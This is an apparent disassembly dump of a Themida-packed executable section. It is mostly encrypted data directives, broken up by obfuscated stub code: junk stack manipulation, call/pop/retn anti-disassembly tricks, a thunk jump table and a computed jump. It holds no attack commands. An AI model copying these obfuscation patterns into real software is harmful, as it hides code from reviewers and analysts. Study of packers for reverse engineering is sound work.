dd 0F896E470h, 0ADB00E08h, 19FFDF7h, 37E2616Ch, 0FB1E09C6h
dd 0E7EA3869h, 0FB226A96h, 6DDFA275h, 0B0C1538Ah, 6BE6E748h
dd 75E8FD91h, 0F076BB9Fh, 24BC3389h, 0B73919BAh, 1E88E8E1h
dd 3014EA41h, 4931DEh, 5CD70000h, 0BF299186h, 0DB84B42h
dd 0FB119B9Ch, 9E68B269h, 0EE15CBA4h, 5AABAE46h, 75FB3B2Eh
dd 0E8EB4B44h, 0D3D63C32h, 0B31EFEB7h, 0AE0EC941h, 6D43DB2Ch
dd 0A932B494h, 0FBD01038h, 67D11F75h, 3044338Ah, 0E17ADEh
dd 5C200000h, 73A62D3h, 0F7416FE9h, 337E04C9h, 64CE66F8h
dd 3134928Ch, 0C5BE867Bh, 61CACD65h, 3033918Bh, 96BE2FDAh
dd 0A56FE934h, 1B15ED57h, 0A04BABDh, 70830EACh, 0C46FE92Fh
dd 0DECE6CCAh, 288386E4h, 0E04A3E25h, 44EF87DDh, 0FB4E1AD3h
dd 71E24369h, 75FB1249h, 0CC6A0250h, 0CABEB729h, 0FCC14FEDh
dd 8B161592h, 0C3D96FE0h, 0E344700Fh, 1EB1170Dh, 6FEFBCF6h
dd 741FB705h, 0C9F162EBh, 246FEFBCh, 0EFBC8BB3h, 4544926Fh
dd 0C0B58DF7h, 0D5CABA58h, 1B787B6Dh, 9A7D7943h, 1B3F5h
dd 0B776A00h, 1F897D6Dh, 37999181h, 4DB3A999h, 62CABFAFh
dd 8AF857C4h, 9F8F2D95h, 0B6A644A8h, 0CFBF5DBDh, 0DAD977D5h
dd 34E00879h, 0DCEF7601h, 0B21A0F8Ah, 91289507h, 80C6D75Fh
dd 0AEA89816h, 6A5EB250h, 0AC35E063h, 0E907133Bh, 746C1A6Fh
dd 85107A12h, 0FB121314h, 0E9EC3A69h, 52B0AA80h, 4D75E64Fh
dd 5C75FB1Eh, 5ACB760Eh, 75FB1E32h, 0E81EB39h, 75FB1EE2h
dd 8D61411Ah, 0DE2F9236h, 0AB7Dh, 0D35C2300h, 0E9073A62h
dd 0EB53486Fh, 5C349EECh, 98010462h, 0FF69C9C2h, 0C7CA3227h
dd 0E9026376h, 71CFC96Fh, 8BE9E3D3h, 0A33E2D88h, 28CE87F8h
dd 0B1FF69FBh, 0F88F7E13h, 99EA13B3h, 1C63D093h, 0FA2621Ah
dd 0C334DF77h, 70102A8Ch, 0F984391h, 77E13F39h, 0A442AA9Fh
dd 0EF5BBFB4h, 0EC509C78h, 0E27F7109h, 777943A7h, 0C2EF94h
dd 685B0000h, 7A6E5EFCh, 8A827210h, 0A49A8A28h, 0BBB0A03Eh
dd 0E948B553h, 801E867Bh, 97359990h, 0B04EAEA7h, 0CA68C6C0h
dd 0D1F96ACBh, 0D8760135h, 1A0F73C5h, 2A2414B2h, 524B21CCh
dd 0B60A88F2h, 5E57150Fh, 4043A79Eh, 0B7BA52EAh, 1A84784Eh
dd 9062C517h, 0FA664D19h, 2620F862h, 96952AC8h, 47EF600Bh
dd 5669F1C9h, 554F0508h, 52C34CF7h, 7601B52Ah, 0DCDF3F38h
dd 0CF398786h, 9676151h, 2C92885Eh, 8669D329h, 0ADFE4C35h
dd 0A6863D81h, 0FB6CDDD7h, 824DFFD3h, 70E18CDAh, 824DFF48h
dd 0D3710957h, 888BE9E3h, 7376DCD2h, 0AE7D5D1Ch, 0C8B856B4h
dd 0C86D70CEh, 8, 340A9576h, 3571DB3Bh, 0ADB01C0Fh, 9C9FFDF7h
dd 8A8DEDE6h, 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h
dd 2225877Fh
dd 0B0E786Ch
; ---------------------------------------------------------------------------
dec ebp
push ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 4
sub ebp, edx
pop edx
xchg ebp, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov eax, 7AA863C7h
dec eax
or eax, 352250A6h
push edx
mov edx, 1CF57FD3h
neg edx
shl edx, 4
shl edx, 6
xor edx, 20BD370Ch
xor edx, 6183C1B2h
xor eax, edx
pop edx
or eax, 21E32AD9h
shl eax, 6
add eax, 88492980h
push 4E1Eh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
sub esp, 4
mov [esp], eax
pop dword ptr [ebx+8]
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_54EA15
; ---------------------------------------------------------------------------
db 7Dh, 1Dh, 0E8h
dd 65E319F0h, 182F33B8h, 0FFC50306h, 15E830E0h, 579A533Fh
dd 18287A57h, 9036467h, 0DCF71203h, 0A738176Eh, 8BE3FD5Ch
dd 3E716100h, 0B7962A68h, 3C0E7928h, 38A7A37Dh, 0EAEEC25h
dd 81BDC033h, 7D11686Eh, 1B9BEA46h, 2AC7703Ch, 0EF70F929h
dd 9ABE3A24h, 0A96CCB56h, 0AD1CA67Eh, 10D8B34Ah, 0FC87F56Eh
dd 9369913Fh, 52317D0Ch, 11E83Eh, 0FFD10000h, 21D3A6EBh
dd 660983BFh, 725F940Ah, 5965456Bh, 0E1C181F5h, 0E800005Fh
dd 5, 0A8BBE64Ah, 58C68BF6h, 8B66DB33h, 19148BC1h, 0F281F88Bh
dd 1E297525h, 8168DC80h, 57C34BC2h, 0E681664Bh, 0C28115A7h
dd 777390AAh, 19048F52h, 61FAB860h, 0BE66163Fh, 66610AA9h
dd 1171E881h, 5003EB83h, 0E84B5FF5h, 13h, 0E0555742h, 0D1ADD477h
dd 40CE076Eh, 7E2CF328h, 582F4C5Eh, 0A0A8FB81h, 850FFFFFh
dd 0FFFFFFA1h, 8DC68B66h, 1831938Dh, 8D89FC06h, 61209A1h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CBC35646h
dd 4EB2637Eh, 0CCC97F56h, 9D98529h, 85C70612h, 6120505h
dd 72BCh, 21EDB58Bh, 85C70612h, 6121BD9h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5A9B53
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A9B53 proc near ; CODE XREF: Themida_:005A9B4Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5A9B53 endp
; ---------------------------------------------------------------------------
aaa
xor esp, [esi+0Ch]
lodsb
xor [eax+3101B589h], ah
adc al, [esi]
push dword ptr [ebp+612050Dh]
movzx ebx, ax
call dword ptr [ebp+6121B31h]
push 0
push eax
call sub_5A9B8A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A9B8A proc near ; CODE XREF: Themida_:005A9B82p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5A9B8A endp
; ---------------------------------------------------------------------------
pop edi
jnz short loc_5A9BC6
xchg eax, ebp
mov cl, 28h
adc al, [esi]
push 0
call dword ptr [ebp+61219CDh]
mov eax, eax
jmp short loc_5A9BB7
; ---------------------------------------------------------------------------
dw 4AA2h
dd 0EFB22AA0h
db 58h, 1Dh, 0D5h
; ---------------------------------------------------------------------------
loc_5A9BB7: ; CODE XREF: Themida_:005A9BACj
jmp loc_5A9D3E
; ---------------------------------------------------------------------------
inc ebp
jz short loc_5A9BEE
xor [edi], esp
sub al, 0D5h
sbb dl, bl
cwde
loc_5A9BC6: ; CODE XREF: Themida_:005A9B9Bj
mov cl, 46h
xlat
ror edx, 1
mov ah, 0EFh
inc ecx
jle short near ptr byte_5A9C2B
in al, 52h
xchg eax, edi
pop ebp
insd
sti
mov ds:0B99244FCh, eax
sahf
movsd
xchg eax, edx
xlat
mov esp, 93B9E495h
loc_5A9BE4: ; CODE XREF: Themida_:005A9BF4j
add bl, cl
mov dl, 9Dh
hlt
; ---------------------------------------------------------------------------
mov ds:0B9FC9CACh, eax
loc_5A9BEE: ; CODE XREF: Themida_:005A9BBDj
sahf
add dl, dl
inc ebp
leave
scasd
jnb short loc_5A9BE4
add ah, bh
push ebp
xchg eax, edi
mov edx, 0E56D599Ch
movsb
mov dl, 0FFh
lodsb
inc byte ptr [edi-0Ah]
push edi
push esi
; ---------------------------------------------------------------------------
dd 0CCD4C4h, 8F7DB5F6h, 539549F7h, 0C9BCFA97h, 915CCD45h
dd 0ACE56CA1h, 10000h, 0
db 3 dup(0)
byte_5A9C2B db 0 ; CODE XREF: Themida_:005A9BCEj
dd 41h dup(0)
dd 6D849700h, 69F033A2h, 0EEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5A9D3E: ; CODE XREF: Themida_:loc_5A9BB7j
jmp loc_5AADAF
; ---------------------------------------------------------------------------
push 61834F7h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 61835F9h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 61837AFh
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183874h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 61839B6h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183A81h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183B45h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183BADh
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183CE0h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183D64h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183E6Bh
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183F26h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6183FDDh
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 6184136h
jmp loc_55B50E
; ---------------------------------------------------------------------------
push 618422Ch
jmp loc_55B50E
; ---------------------------------------------------------------------------
db 40h, 62h, 3Ch
dd 3B6B3A84h, 396D3983h, 35693781h, 3670337Dh, 0A3620E7Eh
dd 0A4EEA600h, 0A1EBA3FBh, 0A1EBA303h, 0C6E69E00h, 9A4FB5CBh
dd 8402B399h, 7A247D07h, 794160EAh, 3DF5636Bh, 14CC9FF7h
dd 1F10F300h, 7362F9A0h, 772754ADh, 2A32E94Ah, 48398C94h
dd 93FF4532h, 0AF3FF2BBh, 6FB78D57h, 1AFFFB4Ch, 419C6DEAh
dd 46076Ah, 0ACF40000h, 0FF9F02F7h, 0FF253B2Ch, 724C6F8Fh
dd 0B3D96CBFh, 0BCD2C386h, 0BB93C10Fh, 4AC2BE4h, 77C982F0h
dd 0B637DD2Bh, 564F4C6Ch, 3EE3C050h, 0E093388Bh, 0B62CF850h
dd 0A09C4C6Ch, 9FCC8BBBh, 0D4A86A42h, 0F3000000h, 0EA7A247Dh
dd 0B0A470EFh, 4333D122h, 733370F0h, 564859E3h, 39653CC6h
dd 0A60048h, 79DDF5ADh, 81B58165h, 26F69A20h, 1B8E6BBh
dd 5D30A1C2h, 58465BA5h, 844774C8h, 0B21DA93h, 0B581E1E5h
dd 452A558h, 0BB93E29Fh, 51651DD0h, 0B3EBB420h, 3ED9EFE0h
dd 1B42781Fh, 5BE7768h, 583309EFh, 63436146h, 4D4E27BEh
dd 2787B9CCh, 22810154h, 2182CC84h, 0DE11C785h, 89213ADAh
dd 0E03B1h, 702E7400h, 6F376EB8h, 6D396DB7h, 69356BB5h
dd 6A3C67B1h, 0D72E42B2h, 0D822DACCh, 0D51FD7C7h, 0D51FD7CFh
dd 0FA1AD2CCh, 9D03E9FFh, 0B836B399h, 62267D3Bh, 81A9A44Ch
dd 13E699B5h, 0D47AA322h, 8B80CAF8h, 64B78A14h, 5F3F62ACh
dd 237B266Eh, 0B3BB18D0h, 0BCD2C386h, 0BB93C10Fh, 5C722BE4h
dd 4C6C41B4h, 40A8F6A9h, 0F54C6C41h, 0C0930B95h, 2415C86Dh
dd 0ABC1C7DCh, 4C6C4145h, 0F27245F8h, 0C9CEFAFh, 6C4170B4h
dd 0C75C584Ch, 5D495AA2h, 0D699BE0Ah, 0B2DB6A41h, 26000000h
dd 15DCC40Ch, 0A9861690h, 9E0383D6h, 0BDE67000h, 550159E9h
dd 0A5B581AEh, 69B1A2FCh, 0FAD76737h, 0EC34EFA7h, 815EEEB8h
dd 0ABF3AE2Eh, 0D7BAC71Bh, 56ABD0E6h, 850446Ch, 11B6099Dh
dd 6192A65Eh, 4F9BB1A2h, 0EE427BA8h, 7B914A3Bh, 4658F895h
dd 0D1C215C8h, 0D48C1A89h, 0CF8D198Ah, 3ADAE213h, 1AF871Fh
dd 7600000Dh, 70BA722Ch, 6FB97135h, 6DB76F37h, 69B36B33h
dd 44B46C3Ah, 0DCCAD92Ch, 0D9C5DA24h, 0D9CDD721h, 0D4CAD721h
dd 0EB01FC1Ch, 0B3999C05h, 7D3DBA38h, 41809C26h, 15F5B7FEh
dd 61408A42h, 7D934C3Dh, 0B5816597h, 0CC417CAh, 7A247DAFh
dd 0FAA7EFEAh, 0B73714A4h, 0E363B6E8h, 34F9FCBEh, 6D8A883h
dd 78C07B33h, 9E67628h, 7C5F6CB6h, 0DFE4758Bh, 6619BB93h
dd 0C93DBD6h, 37F13F92h, 954C6FCFh, 26DF8099h, 8EDCC2DEh
dd 4C6FCF66h, 0CB7128DBh, 0A2C545C3h, 0BF98E437h, 0B56A4144h
dd 0A8h, 2DD3E9A2h, 204C6F2Fh, 0C871A6Dh, 0A64F188Dh, 53ABE1h
dd 0D5C685B6h, 3D90168Dh, 3C35364Ch, 45FEBB93h, 248E768Ch
dd 10C34C6Fh, 6F245AC2h, 95C0F4Ch, 2621B164h, 24B1576Dh
dd 0F1A44C6Fh, 2494509Eh, 0F8F44C6Fh, 2D74E363h, 55006A41h
dd 0ED000000h, 51A4FAA5h, 0C386B3BEh, 0CFD119D2h, 5D2E7CCFh
dd 96BB93C1h, 0BF4F574Eh, 37EA8FE2h, 41954FA7h, 0F34C6Ch
dd 57AFD981h, 0B2052E93h, 0B6FEA3B8h, 1460B3EBh, 6A42A943h
dd 0A4014902h, 884CB402h, 4E014C6Ch, 1039FBh, 0A7260000h
dd 0F34FD3C5h, 6F025503h, 8C62Fh, 86B39200h, 4DBCD2C3h
dd 0F2BB99DCh, 589775Bh, 948F6B01h, 0BF3BF239h, 5D4E2140h
dd 0DEF48C15h, 4C664E36h, 0EDA5782Bh, 10A0FEA3h, 0DBCC8FBCh
dd 7E3C39C5h, 51672042h, 464E1FABh, 0E4FAEB9Eh, 464E1F3Ch
dd 862B7E31h, 79AE2D3h, 0C95DF97h, 9DAE0292h, 0CAB7CDBEh
dd 6B485C0Ch, 1516FAB8h, 0A84024BEh, 0B4BD0h, 28762C00h
dd 277F2670h, 2581256Fh, 217D236Dh, 22841F69h, 8F76FA6Ah
dd 90DA9214h, 8DD78F0Fh, 8DD78F17h, 0B2D28A14h, 9E7BA1B7h
dd 70EEB399h, 0AA75AFF3h, 2E5BB581h, 0BFFB7A6Bh, 8B153DFBh
dd 7A332477h, 8845ABC1h, 61F84A7Eh, 463532BBh, 8EE1B4ABh
dd 664AD140h, 1BD38644h, 2617FA07h, 7E84F910h, 0AA9B4E42h
dd 0A75F3F62h, 0A402A4ECh, 0CED0D151h, 0FAD9EA3Eh, 0D23A5009h
dd 87464E85h, 7A9081D4h, 4856F7FCh, 0CA324819h, 7F583753h
dd 0C008F9CCh, 84CCBDE1h, 0AA526820h, 9F583753h, 0AC8919ECh
dd 4A57A159h, 0BA6CC454h, 16D83753h, 1F3526E5h, 0D625541Ah
dd 7CDA984Bh, 16AEA746h, 0A86A67Eh, 0B1F10000h, 0BAEB35EDh
dd 0BCEA34ECh, 0B8E832EAh, 0BFE42EE6h, 0B1BF2FE7h, 0A1594D56h
dd 9E564857h, 9E565054h, 99514D54h, 80687E79h, 0B5B39991h
dd 86B3BA37h, 87178F16h, 0F3C665C6h, 1BEE1980h, 0D2415748h
dd 3BBB996Bh, 5C5697BCh, 4CA55C4Ah, 762EAE3Eh, 70C3A030h
dd 6E2718CBh, 8C799FB5h, 39EC4C69h, 0B63B66E6h, 2DE5B8EEh
dd 50E0BEE3h, 1B0CCFFCh, 71FE0A05h, 9B8C3F42h, 98504E53h
dd 89E534Eh, 5A826A80h, 4B7464Eh, 7ACE5E31h, 83998A49h
dd 485628CBh, 9D5647FAh, 0A5A61B1Eh, 2E7C071Eh, 583637C6h
dd 5848C87Bh, 0BA02F346h, 0B5FFB7E7h, 0CA22B2ECh, 5836371Eh
dd 95864576h, 2E45D47Fh, 346DB556h, 46FDDA6Ah, 0A7CFBB41h
dd 11B609E8h, 7C256D5Eh, 0CF354B04h, 82521E67h, 679B81CFh
dd 1BCE521Eh, 569E5748h, 0EAC7574Fh, 1E67749Ch, 75C6D752h
dd 0C0265254h, 5D15681Bh, 80108E13h, 108F1F2Ch, 11CABB8Eh
dd 55DA4258h, 2D43521Eh, 521E55C7h, 0C222C77Ah, 5835C5E1h
dd 2DE43285h, 225C0627h, 7E8BDF6Fh, 18EBB3EEh, 0B481127h
dd 4AFD5A14h, 7601BC8Ch, 4E26BE12h, 944h, 772F6F33h, 762E782Dh
dd 742C7A2Ch, 7028762Ah, 71297D26h, 0B986F01h, 699E39Bh
dd 0E96E098h, 0B96E098h, 0C0BBDB93h, 999042AAh, 0FC79F7B3h
dd 0EA7A247Dh, 0CD5D4160h, 10C0597Dh, 3F550D91h, 642FBF18h
dd 38C1E52Dh, 0CDAA3A6Ch, 3A8D6AFAh, 2678h, 871D6500h
dd 0C39CC1Fh, 82DFDBC4h, 0B5A9001Eh, 0EBB43407h, 0F34623B3h
dd 52F25h, 3AAB2A00h, 704AC84Bh, 73D265B8h, 834673A5h
dd 0D23B7C92h, 0A95CBB93h, 0A3EBDFEFh, 4357160h, 0F13E5445h
dd 0A69D71DDh, 0E20F63F3h, 3182E1Fh, 349B58FFh, 8FD79081h
dd 980E8E10h, 4EA17E0Eh, 13CBD3CEh, 8C19D8C9h, 9C0A9A1Ah
dd 9E5C2F0Ch, 0D3B9E594h, 79562EC6h, 0FE000008h, 0F842FAA4h
dd 0F741F9ADh, 0F53FF7AFh, 0F13BF3ABh, 0CC3CF4B2h, 644261A4h
dd 613D62ACh, 61455FA9h, 5C425FA9h, 738984A4h, 0B399938Dh
dd 0CC542C0h, 0A9D73D53h, 6E78B581h, 8108E89Bh, 2E75D57Ah
dd 0D252A578h, 0B53FCFCFh, 9950BEEh, 0F2B4EF79h, 0DFB28562h
dd 23E61327h, 8CAB1C32h, 0D98CBB99h, 9D01A0E8h, 613D64ACh
dd 8CB25A70h, 0F4A74C69h, 29FE9A1h, 3D63AB9Ch, 0E0BEE161h
dd 98A9FD8Dh, 5FB2C8B9h, 0A04271FEh, 0CB5B4B58h, 1C5437EEh
dd 10BC9EDEh, 746518BDh, 763073BBh, 0A6F9ADF6h, 6B237B26h
dd 8E1E8021h, 39EF1493h, 9BE8297Dh, 0CA1D891Bh, 8F4D594Ah
dd 3ACC7C85h, 0B53D15ADh, 0C2000007h, 0BC06BEE0h, 0BB05BDE9h
dd 0B903BBEBh, 0B5FFB7E7h, 9000B8EEh, 287E25E0h, 25792670h
dd 2581236Dh, 207E236Dh, 374D4868h, 0B39992D1h, 0B3890684h
dd 0BCD2C386h, 0BB99DB41h, 995243F6h, 1D335551h, 4C6667F7h
dd 91E4B76Ah, 560E9011h, 7909950Ch, 44351425h, 7404B92Eh
dd 4D0BBE42h, 3AD61ED1h, 4DF1C961h, 2A000007h, 246E2678h
dd 236D2581h, 216B2383h, 1D671F7Fh, 0F8682086h, 90168D78h
dd 8D118ED8h, 8D198BD5h, 88168BD5h, 9FB5B0D0h, 0B3999279h
dd 7DF16EECh, 0EFEA7A24h, 768CFCA7h, 0B581A98Eh, 0AD3D10C3h
dd 0A4FD7DD0h, 0FF1A6AFAh, 0CE2D4080h, 3FBFB64Dh, 0F2EC3F67h
dd 0A6F8A969h, 5D7FD8EEh, 14F5642Fh, 40000000h, 0A5DBC40Ch
dd 81A9698Fh, 5629DCB5h, 3323503h, 7D980000h, 96EA7A24h
dd 8A728865h, 0BFB581A9h, 3248390Ch, 0BB99DCDFh, 0DBCBD820h
dd 9312E388h, 3D3E2EB4h, 0BB61AF4Fh, 0AE4C664Ch, 0B57028FBh
dd 0DD6D396Dh, 742DAD00h, 0F9AE7F46h, 9063A401h, 792D7600h
dd 0BD9CADC1h, 0A17CB6CCh, 5E11427Eh, 237B256Dh, 0AFC5B693h
dd 464EE149h, 5F649FCh, 2BAE4BDh, 25B5E9B8h, 0EACDAB2Ah
dd 38E1071Dh, 0A154464Eh, 0DC356AEAh, 0C9A0989h, 43C79C1Bh
dd 3B23D955h, 155D58E8h, 6A3C6891h, 9A2AFDDAh, 13206ABDh
dd 3E863F30h, 0D0AD3D61h, 8962F7Dh, 0CE9F485Ch, 3C1850B8h
dd 0A50558h, 4D53D3A6h, 98C07E51h, 0CA24BE05h, 61A5A32h
dd 455D0000h, 4E57A159h, 5056A058h, 4C549E56h, 53509A52h
dd 452B9B53h, 0DC5E1C2h, 0AC2DCC3h, 0AC2E4C0h, 5BDE1C0h
dd 2CD4EAE5h, 21B39995h, 247D26A3h, 4160EA7Ah, 7B246C5Dh
dd 0E7772F76h, 1680370Ah, 5121902Eh, 22AC3C8Fh, 6EE0484h
dd 3BB58181h, 9B25B588h, 78099905h, 74BACD56h, 9A07CB50h
dd 21364C04h, 53642F93h, 7, 1AA2F9Eh, 7D920000h, 9EBC7A24h
dd 0BCC903B4h, 5964C24h, 0C1E10000h, 0CADB25DDh, 0CCDA24DCh
dd 0C8D822DAh, 0CFD41ED6h, 0C1AF1FD7h, 91495D46h, 8E465847h
dd 8E466044h, 89415D44h, 0B0586E69h, 0A5B39994h, 0C40CAA27h
dd 5936C6E0h, 651B8606h, 81A9A94Fh, 0C3E3C1B5h, 0FEB15633h
dd 90119B2Bh, 0A932DAF0h, 7427B581h, 9DC111A1h, 514D5484h
dd 6B91A760h, 0CCB581A9h, 0A267098h, 14C76CA5h, 64F309C1h
dd 10642F3Fh, 2Eh, 11E2F5Bh, 0B5340000h, 0BBC72849h, 37CA1D4Ch
dd 0AED4530Ch, 0F0D28B2h, 1CF71D6Bh, 0B76AB581h, 0E2A46400h
dd 0F44725E5h, 0F726h, 0C40C8900h, 17871ADFh, 57D7AA87h
dd 0E8C55549h, 5B3E4B95h, 2482226Ah, 0B0C6B794h, 0B581A948h
dd 6F74AFDh, 99DC1DF0h, 0E7772ABBh, 0A7FFA4ECh, 6DF90A54h
dd 51DB6B33h, 0AB7E5155h, 17BA4BAh, 0E7A04274h, 54032BD1h
dd 425C4346h, 4EB6CC9Dh, 3465403h, 852A7D50h, 1EF814D2h
dd 720A3AD6h, 48F9Ah, 0E4BAE800h, 0E3C3E22Ch, 0E1C5E12Bh
dd 0DDC1DF29h, 0DEC8DB25h, 4BBAB626h, 4C964E58h, 49934B53h
dd 49934B5Bh, 6E8E4658h, 97B75D73h, 2CAAB399h, 1686B3AFh
dd 68366990h, 55280595h, 0F7D54E64h, 53EABB93h, 6CC11333h
dd 1A0BDE07h, 41D1CDD2h, 0E5366780h, 481B50B9h, 76C9DDC8h
dd 3D693D85h, 5FB86D85h, 0BFE24C6Ch, 0FEA6EEDFh, 2AFDA9FBh
dd 0B26ABD9Ah, 0E9BB3E68h, 83139310h, 6643D3A6h, 0C0080393h
dd 5532C2E4h, 42D2CCD5h, 0FD441265h, 0A7000003h, 8E1686B3h
dd 0D8AB8818h, 0DC3ED1E7h, 580BBB99h, 844774C8h, 1907D93h
dd 12C54274h, 0D61E3254h, 0D0A8403Ah, 3D4h, 0E79FFFA3h
dd 0E69E089Dh, 0E49C0A9Ch, 0E098069Ah, 0E1990D96h, 9B08FF71h
dd 9609530Bh, 9E065008h, 9B065008h, 302B4B03h, 9996F21Ah
dd 6CE967B3h, 0A8E68D0Ch, 0F47A160h, 824172BCh, 0F28C7B91h
dd 0FEB1BB99h, 970C540Dh, 5235DBF1h, 75284C66h, 1C8812A2h
dd 4A1DFA8Ah, 0C72A77F7h, 5936C6D8h, 1D84CE86h, 5E489081h
dd 0C699059Bh, 76065936h, 41321122h, 7E20A32Bh, 2E1FD242h
dd 2BE3BBE6h, 6F31C0E1h, 0D1CC5C2Fh, 5DC99918h, 82991457h
dd 4ED6CC34h, 0DDCE8146h, 4ED621C7h, 0E611446h, 0E3D4B7C4h
dd 5CC5BCCDh, 10CE8148h, 24BEDBC0h, 1D825AF2h, 5A000003h
dd 549E5648h, 539D5551h, 519B5353h, 4D974F4Fh, 28985056h
dd 0C0E6BD48h, 0BDE1BE08h, 0BDE9BB05h, 0B8E6BB05h, 0CFE5E000h
dd 0B3999629h, 7D219E1Ch, 60EA7A24h, 0EAA55D41h, 0B2F4FDA2h
dd 0B49121F4h, 0DDB563FDh, 4B9E242Ch, 2011F001h, 72871F67h
dd 7E47432h, 74C7A434h, 933E7126h, 0A333E6BBh, 6F76994Bh
dd 0B4FCEF4Ch, 2A25B5F1h, 6F76EC14h, 0DBAE614Ch, 79958E88h
dd 6A40DBDEh, 4596h, 8D0CE100h, 0B606C078h, 0CF40AD1h
dd 41B581C1h, 6B3BBB8Eh, 6D9EE83Bh, 1AA7BDAEh, 1BBB93A9h
dd 0A480D868h, 244C6FF9h, 44133328h, 16A416Eh, 61C70D82h
dd 6FF7A54Bh, 2EE5984Ch, 0FA4D2BDFh, 0E438h, 0C40C8300h
dd 0F474C7DFh, 0D761F1ADh, 4F4ADACCh, 0A9988096h, 6DCDB581h
dd 45986B33h, 0D1C2DCC5h, 33861889h, 4660A8A3h, 148D0D60h
dd 1CBAD28Ah, 5EB581AEh, 0EB6A5B43h, 80B8F92Ah, 3F62E266h
dd 0A540C5Fh, 23770797h, 85198616h, 0C008C1B2h, 512EBEE0h
dd 80DBB0FEh, 9B6C446Ch, 6C839F85h, 0F8AEF74Ch, 33E68B68h
dd 0A5EDA860h, 7C24A4FAh, 7485CF22h, 0D48EA495h, 69427B72h
dd 267DC5B6h, 257EC880h, 3D6D0D4h, 0DBC82D45h, 0AD851D3Ah
dd 1C4h, 0F7AFEFB3h, 0F6AEF8ADh, 0F4ACFAACh, 0F0A8F6AAh
dd 0F1A9FDA6h, 8B18EF81h, 8619631Bh, 8E166018h, 8B166018h
dd 403B5B13h, 99E8C22Ah, 7CF977B3h, 1A62267Dh, 22CA1886h
dd 17B581A9h, 0E7A09164h, 509E009Fh, 0B581A9A8h, 0DF97EA9Dh
dd 0DA920C95h, 0C386B37Dh, 0C10FBCD2h, 0D030BB93h, 6441D1D5h
dd 7FA90191h, 4D4C6C41h, 658BA15Ah, 0D84C6C41h, 0A8FEA525h
dd 46C65B55h, 6A41D711h, 0B563h, 247DAE00h, 4360EA7Ah
dd 28B8EEB6h, 90E8784Bh, 0B581AE26h, 1C846D34h, 9515F282h
dd 0D3C4970Fh, 256DA754h, 1669A60Bh, 8C24A35Eh, 0E5050A9Bh
dd 0FDA42477h, 21F4B2F4h, 4D0C3D91h, 474D465Ch, 6EB6446Ch
dd 751A6D31h, 964F0AC2h, 6CC19880h, 9A1ACD4Ch, 0FA449707h
dd 3190AC9h, 427B3C08h, 51998A3Dh, 529C5452h, 4D975551h
dd 653ADB09h, 0CEF5CDh, 0F9A90000h, 2A3EDA5h, 4A2ECA4h
dd 0A0EAA2h, 79CE69Eh, 0F977E79Fh, 5911950Eh, 560E900Fh
dd 560E980Ch, 5109950Ch, 0F8203631h, 6DB399EBh, 267D72EFh
dd 5A478F80h, 84D7B444h, 7F1F82CCh, 247D6AC7h, 4160EA7Ah
dd 64ED6C5Dh, 2DA0E2C6h, 0EF03BB0Eh, 0F80EFFC2h, 0BB99C872h
dd 0D660F0A3h, 63E2D3CBh, 0C7CFD545h, 1ED629A3h, 41D1CDD4h
dd 5FD86EE9h, 0C3585415h, 540C920Fh, 1607970Ah, 7ED1D5CEh
dd 0FD74F3EEh, 0ADF1AEDEh, 4389401Dh, 0CE4EA164h, 623CCCD2h
dd 0EBA4C55Eh, 31522FD5h, 1C6F2277h, 0E199059Ch, 0B1576D26h
dd 0A4773152h, 831E9EF1h, 5201E7FDh, 81347731h, 2D009E01h
dd 0F1ADF43Ch, 0A1318461h, 3C9h, 13AE2C00h, 0E979257Dh
dd 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh, 6BFBABF8h
dd 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 0E7895739h, 4C781h
dd 0BB530000h, 4, 875BDF29h, 685C243Ch, 791Dh, 68241C89h
dd 669Dh, 68240C89h, 61833C3h, 83241C8Bh, 8B5404C4h, 0C481240Ch
dd 4, 8B850h, 20050000h, 17B464Bh, 4B202DC8h, 18897B46h
dd 2434FF58h, 4C48359h, 53241C8Bh, 0C381E389h, 4, 8704C383h
dd 0E95C241Ch, 0FFFB076Ah, 0D2DB6409h, 0E4CBF04Ah
; ---------------------------------------------------------------------------
aas
ficom word ptr [ecx]
loc_5AADAF: ; CODE XREF: Themida_:loc_5A9D3Ej
mov eax, 618431Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 7759B05h, 6294A981h, 45E90B17h, 754A7C62h, 23802639h
dd 4F4A5612h, 73E4F5DAh, 150FAF28h, 0D5F1CADh, 4152FDDDh
dd 25FB202h, 42CAA25Dh, 42C35060h, 5E4585DCh, 7D3FCB1h
dd 7FDED67Ah, 34E24D2Ah, 3F82D3A4h, 16DE9h, 0F4622900h
dd 0E705C546h, 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h
